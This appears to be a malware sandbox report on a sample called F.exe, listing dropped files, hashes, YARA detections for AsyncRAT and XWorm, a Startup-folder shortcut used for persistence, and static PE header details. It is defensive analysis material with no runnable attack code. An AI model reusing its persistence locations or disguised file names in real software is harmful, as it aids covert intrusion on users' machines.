Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....TU.p;...R.f{;.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xd&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xb&..Roaming.@......DWSl.Xb&....C......................4..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.X`&....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.X`&....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.X`&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.X`&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UD1Z65ZMGJ8TBD7IK9RV.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7140547111267694
Encrypted:	false
SSDEEP:	48:J++71aCSbU2cy+DrukvhkvklCywrn2B/hmyL7cBSogZomh/hmyL7cBSogZoS1:Uo1aCvVukvhkvCCt2/hhL5HJ/hhL5HZ
MD5:	205BAE20D6C7F92196711FC9989F20F8
SHA1:	03640C300ED4E7AC70838C4DABE61281485DD0CE
SHA-256:	6666C35661296C178001FB3D41CBC39454FB8E850314DF7847277D5E2C019688
SHA-512:	F6BB064CB7D91806ACA8B6010F737AA836D45E657572E3E2D782F8C703B75B0DFF6BEB111B115032DF55906BB50114A954FB1091B8D98E8E2B0BC876BE05F758
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....TU.p;...c...;.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xd&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xk&..Roaming.@......DWSl.Xk&....C.........................R.o.a.m.i.n.g.....\.1......Xj&..MICROS~1..D......DWSl.Xk&....D.......................=.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.X`&....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.X`&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.X`&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSl.Xk&....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WDG91EF9XBEV77T2A4XP.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.714435179133721
Encrypted:	false
SSDEEP:	48:J++71aCSbU2cy+DrukvhkvklCywrn2B/hmyL7cBSogZomh/hmyL7cBSogZoS1:8o1aCvVukvhkvCCt2/hhL5HJ/hhL5HZ
MD5:	C4D40B54589E38E8FB72FAB193180625
SHA1:	939D79A2CA841219D28D22752D76C8BA89CA2E80
SHA-256:	33938C3CCA2F964A7E588D543B46FF302AAA865334794A74C3E23A4026E75BF4
SHA-512:	0BC41D17B66D60048C70CD421F4FDC74D586EE256659396362D536021E78F4E7F194A53427B3A108ACDEA0BB969A281D16AA7FD0721FBAD2A124091D025CE73B
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....TU.p;...zR..;.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xd&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xk&..Roaming.@......DWSl.Xk&....C.........................R.o.a.m.i.n.g.....\.1......Xj&..MICROS~1..D......DWSl.Xk&....D.......................=.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.X`&....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.X`&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.X`&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSl.Xk&....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7126680287595364
Encrypted:	false
SSDEEP:	48:JTlBaCSbU2K+DrukvhkvklCywrn2B/hmyL7cBSogZomh/hmyL7cBSogZoS1:5jaCvoukvhkvCCt2/hhL5HJ/hhL5HZ
MD5:	306C624BDAE630981AFE47B32C9B02E3
SHA1:	F333C239B3BF55E82BAC44E8794DF247E65F236C
SHA-256:	67C9CFA2BB7ABDC86B08B2C6AC679D85D3678D890008CA3B74F958605DB33BC8
SHA-512:	B14278725D5C2E1F74E6ACAF4B7E7825C8D83164B254428CD6E8C31B599E4A2D03AB9D3255467774E7446D9155C45E6AA92D9386F77DCB24947DD2BF7BA647FF
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....TU.p;...R.f{;.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xd&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xb&..Roaming.@......DWSl.Xb&....C......................4..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.X`&....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.X`&....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.X`&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.X`&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF6ea689.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7126680287595364
Encrypted:	false
SSDEEP:	48:JTlBaCSbU2K+DrukvhkvklCywrn2B/hmyL7cBSogZomh/hmyL7cBSogZoS1:5jaCvoukvhkvCCt2/hhL5HJ/hhL5HZ
MD5:	306C624BDAE630981AFE47B32C9B02E3
SHA1:	F333C239B3BF55E82BAC44E8794DF247E65F236C
SHA-256:	67C9CFA2BB7ABDC86B08B2C6AC679D85D3678D890008CA3B74F958605DB33BC8
SHA-512:	B14278725D5C2E1F74E6ACAF4B7E7825C8D83164B254428CD6E8C31B599E4A2D03AB9D3255467774E7446D9155C45E6AA92D9386F77DCB24947DD2BF7BA647FF
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....TU.p;...R.f{;.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xd&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xb&..Roaming.@......DWSl.Xb&....C......................4..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.X`&....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.X`&....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.X`&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.X`&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF6ea968.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7126680287595364
Encrypted:	false
SSDEEP:	48:JTlBaCSbU2K+DrukvhkvklCywrn2B/hmyL7cBSogZomh/hmyL7cBSogZoS1:5jaCvoukvhkvCCt2/hhL5HJ/hhL5HZ
MD5:	306C624BDAE630981AFE47B32C9B02E3
SHA1:	F333C239B3BF55E82BAC44E8794DF247E65F236C
SHA-256:	67C9CFA2BB7ABDC86B08B2C6AC679D85D3678D890008CA3B74F958605DB33BC8
SHA-512:	B14278725D5C2E1F74E6ACAF4B7E7825C8D83164B254428CD6E8C31B599E4A2D03AB9D3255467774E7446D9155C45E6AA92D9386F77DCB24947DD2BF7BA647FF
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....TU.p;...R.f{;.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xd&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xb&..Roaming.@......DWSl.Xb&....C......................4..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.X`&....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.X`&....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.X`&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.X`&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF6eacf2.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7126680287595364
Encrypted:	false
SSDEEP:	48:JTlBaCSbU2K+DrukvhkvklCywrn2B/hmyL7cBSogZomh/hmyL7cBSogZoS1:5jaCvoukvhkvCCt2/hhL5HJ/hhL5HZ
MD5:	306C624BDAE630981AFE47B32C9B02E3
SHA1:	F333C239B3BF55E82BAC44E8794DF247E65F236C
SHA-256:	67C9CFA2BB7ABDC86B08B2C6AC679D85D3678D890008CA3B74F958605DB33BC8
SHA-512:	B14278725D5C2E1F74E6ACAF4B7E7825C8D83164B254428CD6E8C31B599E4A2D03AB9D3255467774E7446D9155C45E6AA92D9386F77DCB24947DD2BF7BA647FF
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....TU.p;...R.f{;.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xd&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xb&..Roaming.@......DWSl.Xb&....C......................4..R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.X`&....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.X`&....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.X`&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.X`&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Download File

Process:	C:\Users\user\Desktop\._cache_F.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Jul 2 03:52:19 2024, mtime=Tue Jul 2 03:52:19 2024, atime=Tue Jul 2 03:52:19 2024, length=109056, window=hide
Category:	dropped
Size (bytes):	663
Entropy (8bit):	4.606725707900805
Encrypted:	false
SSDEEP:	6:4xtQlXULRl/sscmRrYZiXyhEtHc8tNUYutWlAtusljAlcWltNebhEZGl9WlANu/2:8Bl/sscQY4ye3MEEjAHl2b6LRmV
MD5:	15D1D685AEBEA9C291C1E7C5B3AFE14D
SHA1:	7DB220DC6D6C665AD07BF60F0875F5AC1349AF93
SHA-256:	CC339D7FDFC962DD0D377B6BED8992F5AB9AD6CE87FC9441474B3195A4EB7B2C
SHA-512:	B921D8AF454F640B2D04782CB9CA2C972DDAC3A315FFA5E3EAB9D3CD9663EF73FF72167440C258D4BC639DD6419BA5F6197264045EFC5110A2B5A083EFA5E500
Malicious:	false
Preview:	L..................F.... ..q...;...q...;...q...;................................P.O. .:i.....+00.../C:\...................`.1......Xg&. PROGRA~3..H......O.I.Xg&....g.....................*...P.r.o.g.r.a.m.D.a.t.a.....b.2......X.& XClient.exe.H.......X.&.X.&....a.......................3.X.C.l.i.e.n.t...e.x.e.......I...............-.......H.............:......C:\ProgramData\XClient.exe..2.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m.D.a.t.a.\.X.C.l.i.e.n.t...e.x.e.`.......X.......061544...........hT..CrF.f4... .E.I..8...,...W..hT..CrF.f4... .E.I..8...,...W..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\Desktop\._cache_F.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3582-490\F.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	109056
Entropy (8bit):	5.233628527312761
Encrypted:	false
SSDEEP:	1536:bf05a/CTjS894Fc9Uo68OM+kw/joT3/4o:bf05a/CTJ94Fc9UWOM9w7oLX
MD5:	76FCF5160F19A49DA44978548CF3FA1E
SHA1:	AA2C21F652E98B834FE6E2D43657DF89379B0B4D
SHA-256:	9A64B5728EEF4DE86778FBCA03C84A64923EC9B901CA8B16277FC691F3567666
SHA-512:	E0707F660CF989A4B8B07E4017D6272B9CF83585A9F9F1EE9B381F7261972B98D9203F8DAB04DDC9D9EB357DD4887ECD8ABD86ED7F8ABDE97D24B4186205DD00
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\Desktop\._cache_F.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\Desktop\._cache_F.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\Desktop\._cache_F.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\Desktop\._cache_F.exe, Author: ditekSHen
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../.rf................................. ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......\|]...Y............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\Documents\BJZFPPWAPT\DUUDTUBZFW.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\BJZFPPWAPT\~$DUUDTUBZFW.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:sYp5lFltt:sYp5Nv
MD5:	B77267835A6BEAC785C351BDE8E1A61C
SHA1:	FABD93A92989535D43233E3DB9C6579D8174740E
SHA-256:	3B222E766EADC8BC9A8A90AC32FA591F313545B7E8C5D481D378AE307FA798C3
SHA-512:	FFFCBA958E9BD56F284DA19592F124C48B013FCDA2FBE65B3EB38BB644C2B0C978E6DAE99EF213B054813C7212E119B09236A6FFF342D32E52C84DD26DE1E033
Malicious:	false
Preview:	.user ..a.l.f.o.n.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\BJZFPPWAPT\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	762368
Entropy (8bit):	6.6473270169554715
Encrypted:	false
SSDEEP:	12288:vMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9pU:vnsJ39LyjbJkQFMhmC+6GD9u
MD5:	DC6FD1F95DC9ACB499A6B2870C3051BA
SHA1:	815BB17586ED19FAF04897F184155851D7D81297
SHA-256:	7E0E962826B5DBEF6C9664C84F5A8118BB38A811C59080C188EC647C200CF252
SHA-512:	7FBC7A286FFDA5F5C8B2A55A05C8AEF5673067411B689A3990174A443BB6275D65575DFB96710DDFB8B5B155D1BEA114E0DF7C13EF0B9AE771F731B3E5B0C1F0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\BJZFPPWAPT\~$cache1, Author: Joe Security
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421620399063011
Encrypted:	false
SSDEEP:	6144:DSvfpi6ceLP/9skLmb0OT3WSPHaJG8nAgeMZMMhA2fX4WABlEnNT0uhiTw:OvloT3W+EZMM6DFyp03w
MD5:	D479528256E0AE2DDAE7C442924417AE
SHA1:	0F686FFC2CC6E35613FE83CA0F05BE7FA73F11C3
SHA-256:	C5DD9CAF068B15F48B65C611BB5EE9A9B4C7544B618BD7EDB165BCF40CC2EE54
SHA-512:	062D1D2CB60218B26A7BEA29196987927291B383184372C260AB1600470B0136F4D89200BE1FC3E6B49D310B305990F2415A39C4CDB673C3817D1D333A759B60
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.Z..;................................................................................................................................................................................................................................................................................................................................................\..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\directx.sys

Download File

Process:	C:\Windows\svchost.com
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	59
Entropy (8bit):	4.539234152262855
Encrypted:	false
SSDEEP:	3:oXeqNjMJJLNov:oXe2jInov
MD5:	9E06CBAEA528ED37C8D88CB88A27A9FF
SHA1:	8C6863473EDBBE39D692EDE22A57D09076BD40E1
SHA-256:	FB23916EF2EF95CABF567D35D79DE3209BD357967BBE1AAC618B684D06F4AD36
SHA-512:	B9EA6E2EF1E35BE7EE1E2782452FF4419787792299B30CFD7ADF9B37DC6D92D3E6EC36040E6320822E405C7FAFE7F79D05975B8430AF113041D1726A9BF90754
Malicious:	true
Preview:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe..

C:\Windows\svchost.com

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	6.254400018359779
Encrypted:	false
SSDEEP:	768:nyxqjQl/EMQt4Oei7RwsHxKANM0nDhlzOQdJg:yxqjQ+P04wsZLnDrC
MD5:	0A69C2EB3BF7FDC922D6CEE63B45FF71
SHA1:	557DC36D04443945E1BF5C68D81AD1435F2EA74A
SHA-256:	DA47F0A133B32C0DC0C0B9A42EC4AF3FF6DB7C4F94EE7690E03B6EC6F69CE2DA
SHA-512:	A68249AA5C582FF5F69488F6FB9B15A28623B6596340C5D14C50B7A145E5B705855E6781058F27DF302BA0F9BFFC240C8CFC544ADA901E52591025955C9BD92E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.539711743214804
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 46.72% Win32 Executable (generic) a (10002005/4) 46.68% Win32 Executable Borland Delphi 7 (665061/41) 3.10% Win32 Executable Borland Delphi 5 (451725/56) 2.11% Win32 Executable Borland Delphi 6 (262906/60) 1.23%
File name:	F.exe
File size:	913'408 bytes
MD5:	e501c275814bfcb58fe845c38227d5c5
SHA1:	e2dd36fd738326611cc8d80462451beb842b2d93
SHA256:	d5bb65b35daf83870a25646b84be125f497c655138b58f4ae4cbd249f2997aa0
SHA512:	435829c2248659e855cef6aca52061fb33c568f73b3668fcb87bcc33cc86f5c442a3e9ef7f840c3f54d813bf8c8b8c80c4139ae134a71245e269f186b550786a
SSDEEP:	12288:WpJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9djS0TMS9:OJ39LyjbJkQFMhmC+6GD9d7n9
TLSH:	73157D22F2D18437D1361B3D9C6B93A5583ABE512E38754F3BE83E4D5F3A68128252D3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	3371e4cca4d16133

Static PE Info

General

Entrypoint:	0x408178
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	9f4693fc0c511135129493f2161d1e86

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFE0h
xor eax, eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-1Ch], eax
mov dword ptr [ebp-14h], eax
mov eax, 004080E8h
call 00007F33755CD413h
xor eax, eax
push ebp
push 004082B4h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
mov eax, 004091A8h
mov ecx, 0000000Bh
mov edx, 0000000Bh
call 00007F33755D05ADh
mov eax, 004091B4h
mov ecx, 00000009h
mov edx, 00000009h
call 00007F33755D0599h
mov eax, 004091C0h
mov ecx, 00000003h
mov edx, 00000003h
call 00007F33755D0585h
mov eax, 004091DCh
mov ecx, 00000003h
mov edx, 00000003h
call 00007F33755D0571h
mov eax, dword ptr [00409210h]
mov ecx, 0000000Bh
mov edx, 0000000Bh
call 00007F33755D055Dh
call 00007F33755D05B4h
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F33755CDE4Eh
mov eax, dword ptr [ebp-14h]
call 00007F33755CE3E2h
cmp eax, 0000A200h
jle 00007F33755D1697h
call 00007F33755D0B32h
call 00007F33755D1389h
mov eax, 004091C4h
mov ecx, 00000003h
mov edx, 00000003h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15000	0x864	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19000	0x1400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0x5cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x17000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x72c0	0x7400	57df3a5615ac3f00c33b7f1f6f46d36a	False	0.6197804418103449	data	6.521149320889011	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9000	0x218	0x400	7ffc3168a7f3103634abdf3a768ed128	False	0.3623046875	data	3.1516983405583385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xa000	0xa899	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x15000	0x864	0xa00	6e7a45521bfca94f1e506361f70e7261	False	0.37421875	data	4.173859768945439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x16000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
